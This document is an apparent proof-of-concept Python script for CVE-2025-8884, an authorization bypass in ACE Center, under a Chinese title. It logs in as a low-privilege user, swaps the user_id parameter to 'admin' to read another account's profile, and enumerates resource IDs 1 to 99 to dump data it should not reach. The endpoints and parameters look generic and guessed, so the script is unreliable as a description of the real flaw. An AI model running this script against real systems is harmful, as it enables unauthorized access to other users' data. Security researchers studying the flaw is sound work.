CVE-2025-8884 ACE Center 用户控制密钥授权绕过漏洞

# CVE-2025-8884 - ACE Center Authorization Bypass PoC # Vulnerability: Authorization Bypass Through User-Controlled Key (CWE-639) # Affected: ACE Center 3.10.100.1768 - before 3.10.161.2255 import requests # Target configuration TARGET_URL = "https://target-ace-center.example.com" LOW_PRIV_SESSION = requests.Session() # Step 1: Authenticate as a low-privilege user login_url = f"{TARGET_URL}/api/auth/login" credentials = { "username": "low_priv_user", "password": "user_password" } response = LOW_PRIV_SESSION.post(login_url, json=credentials) print(f"[*] Login response: {response.status_code}") # Step 2: Identify the user-controlled key parameter # The vulnerability allows manipulating authorization-related identifiers # such as user_id, resource_id, or object_id in requests # Step 3: Attempt authorization bypass by manipulating user-controlled keys # Example: Access another user's resources by changing the user_id parameter bypass_url = f"{TARGET_URL}/api/users/profile" # Normal request (legitimate access) normal_response = LOW_PRIV_SESSION.get(f"{bypass_url}?user_id=low_priv_user") print(f"[*] Normal access: {normal_response.status_code}") # Bypass attempt: manipulate the user-controlled key to access admin data bypass_response = LOW_PRIV_SESSION.get(f"{bypass_url}?user_id=admin") print(f"[*] Bypass attempt (admin): {bypass_response.status_code}") # Step 4: Enumerate sensitive resources # Try accessing various resource IDs that should be restricted for resource_id in range(1, 100): resp = LOW_PRIV_SESSION.get(f"{TARGET_URL}/api/resources/{resource_id}") if resp.status_code == 200: print(f"[+] Unauthorized access to resource {resource_id}: {resp.json()}") print("[*] PoC execution completed")